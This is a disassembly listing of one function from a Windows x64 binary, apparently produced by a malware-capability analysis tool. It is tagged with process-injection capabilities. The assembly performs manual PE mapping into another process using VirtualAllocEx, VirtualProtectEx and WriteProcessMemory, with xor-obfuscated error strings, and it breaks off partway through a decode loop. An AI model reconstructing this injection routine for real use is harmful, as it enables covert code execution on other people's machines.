Function at 0x14022aa20
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rbx
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x1f8
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
movaps xmmword [rax - 0xb8], xmm13
mov rax, qword [0x140275028]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x5a4d
mov r14, rdx
mov r13, rcx
cmp word [rdx], ax
je 0x14022ad21
cmp byte [0x1402646dd], 0
mov eax, dword [0x1402646d8]
movsd xmm0, qword [0x1402646d0]
mov dword [rsp + 0x58], eax
movzx eax, word [0x1402646dc]
mov word [rsp + 0x5c], ax
movsd qword [rsp + 0x50], xmm0
je 0x14022ad10
xor ebx, ebx
cmp dword [0x140275008], 2
jl 0x14022acb2
movdqa xmm5, xmmword [0x140265140]
mov r15d, 6
movdqa xmm8, xmmword [0x140265230]
movdqa xmm2, xmm5
movdqa xmm6, xmmword [0x140265210]
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
mov r12d, 0x1f
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm8
mov r14d, 5
pmuldq xmm2, xmm8
pmuldq xmm4, xmm6
movd xmm11, r12d
movd xmm9, r15d
movd xmm7, r14d
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
psrad xmm4, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265180]
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
movdqa xmm5, xmmword [0x140265160]
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x1402646d0]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm5
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
punpckhdq xmm1, xmm5
paddb xmm3, xmmword [0x140265200]
movdqa xmm2, xmm5
pxor xmm3, xmm0
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
movd dword [rsp + 0x50], xmm3
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm8
pmuldq xmm2, xmm8
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
psrad xmm4, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265180]
packuswb xmm3, xmm3
psubd xmm5, xmm0
mov ebx, 8
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x54]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [0x140265200]
pxor xmm3, xmm0
movd dword [rsp + 0x54], xmm3
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0xe
jl 0x14022acc0
lea rcx, [rsp + 0x50]
call fcn.1401ba3f0
xor al, al
jmp 0x14022fbff
movsxd r15, dword [rdx + 0x3c]
mov eax, 0x8664
add r15, r14
mov qword [rbp - 0x38], r15
cmp word [r15 + 4], ax
je 0x14022b001
cmp byte [0x1402646f1], 0
movups xmm0, xmmword [0x1402646e0]
movzx eax, word [0x1402646f0]
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x50], xmm0
je 0x14022aff0
xor ebx, ebx
cmp dword [0x140275008], 2
jl 0x14022af91
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140265140]
mov r14d, 5
movdqa xmm6, xmmword [0x140265210]
mov r15d, 6
movdqa xmm7, xmmword [0x140265230]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140265180]
movdqa xmm13, xmmword [0x140265240]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x14022add3
cmp eax, 0x12
jge 0x14022aff0
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x12
jl 0x14022afa0
lea rcx, [rsp + 0x50]
call fcn.1401ba3f0
xor al, al
jmp 0x14022fbff
movzx eax, byte [0x1402645f8]
lea rcx, [rsp + 0x50]
movsd xmm0, qword [0x1402645f0]
xor al, 0x58
movsd qword [rsp + 0x50], xmm0
xor byte [rsp + 0x51], 0x4a
xor byte [rsp + 0x52], 0x4c
xor byte [rsp + 0x53], 0x4e
xor byte [rsp + 0x54], 0x50
xor byte [rsp + 0x55], 0x52
xor byte [rsp + 0x56], 0x54
xor byte [rsp + 0x57], 0x56
mov byte [rsp + 0x58], al
mov byte [rsp + 0x50], 0x46
call fcn.1401ba3f0
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x50], rax
mov r12, rax
test rax, rax
jne 0x14022b364
call qword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [0x140264888]
movzx ecx, word [0x1402648b8]
xor ebx, ebx
cmp dword [0x140275008], 2
mov r10d, eax
movups xmm1, xmmword [0x140264898]
mov word [rbp - 0x68], cx
movzx ecx, byte [0x1402648ba]
movups xmmword [rsp + 0x68], xmm0
mov byte [rbp - 0x66], cl
movups xmm0, xmmword [0x1402648a8]
movups xmmword [rsp + 0x78], xmm1
movups xmmword [rbp - 0x78], xmm0
jl 0x14022b2ee
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
mov r14d, 5
movdqa xmm6, xmmword [0x140265210]
mov r15d, 6
movdqa xmm7, xmmword [0x140265230]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140265180]
movdqa xmm13, xmmword [0x140265240]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x30
jl 0x14022b130
cmp eax, 0x33
jge 0x14022b350
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x33
jl 0x14022b300
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
xor al, al
jmp 0x14022fbff
xor ebx, ebx
lea rax, [rbp + 0x54]
mov dword [rbp + 0x54], ebx
mov rdx, r12
mov r8d, dword [r15 + 0x50]
mov rcx, r13
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x30], rax
mov r8, r14
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r12
mov qword [rbp - 0x28], rax
mov rcx, r13
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], 1
mov qword [rbp + 8], 1
mov qword [rbp - 0x18], r12
mov qword [rbp], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14022b6ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x140264975], bl
mov r10d, eax
movups xmm0, xmmword [str._v_i_r_1.9]
mov ecx, dword [0x140264970]
mov dword [rbp - 0x80], ecx
movzx ecx, word [0x140264974]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], cx
movsd xmm0, qword [0x140264968]
movsd qword [rsp + 0x78], xmm0
je 0x14022b6c0
cmp dword [0x140275008], 2
jl 0x14022b65e
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
mov r14d, 5
movdqa xmm6, xmmword [0x140265210]
mov r15d, 6
movdqa xmm7, xmmword [0x140265230]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x14022b4a0
cmp eax, 0x1e
jge 0x14022b6c0
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1e
jl 0x14022b670
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14022fbff
mov qword [rsp + 0x240], rsi
mov esi, ebx
mov qword [rsp + 0x1f0], rdi
movzx edi, word [r15 + 0x14]
add rdi, 0x2c
cmp word [r15 + 6], bx
je 0x14022b74b
add rdi, r15
nop
mov eax, dword [rdi - 4]
test eax, eax
je 0x14022b73c
mov r8d, dword [rdi]
mov r9d, eax
mov edx, dword [rdi - 8]
add r8, r14
add rdx, r12
mov qword [rsp + 0x20], rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14022ba4a
movzx eax, word [r15 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jne 0x14022b710
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r13
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x48], rax
mov rdi, rax
test rax, rax
jne 0x14022bd38
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x140275008], 2
mov r10d, eax
movups xmm0, xmmword [0x140264778]
mov ecx, dword [0x1402647a8]
movups xmm1, xmmword [0x140264788]
mov dword [rbp - 0x68], ecx
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [0x140264798]
movups xmmword [rsp + 0x78], xmm1
movups xmmword [rbp - 0x78], xmm0
jl 0x14022b9de
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
mov r14d, 5
movdqa xmm6, xmmword [0x140265210]
mov r15d, 6
movdqa xmm7, xmmword [0x140265230]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x30
jl 0x14022b820
cmp eax, 0x34
jge 0x14022ba40
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x34
jl 0x14022b9f0
lea rcx, [rsp + 0x68]
jmp 0x14022bd15
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x1402647c9], bl
mov r10d, eax
movups xmm0, xmmword [str._v_i_r97_z__]
movzx ecx, word [0x1402647c8]
mov word [rbp - 0x80], cx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402647c0]
movsd qword [rsp + 0x78], xmm0
je 0x14022bd10
cmp dword [0x140275008], 2
jl 0x14022bcb2
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
mov r14d, 5
movdqa xmm6, xmmword [0x140265210]
mov r15d, 6
movdqa xmm7, xmmword [0x140265230]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140265180]
movdqa xmm13, xmmword [0x140265240]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm2, xmm6
pmuldq xmm4, xmm7
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm5
shufps xmm4, xmm1, 0xdd
psrad xmm2, xmm10
psubd xmm4, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
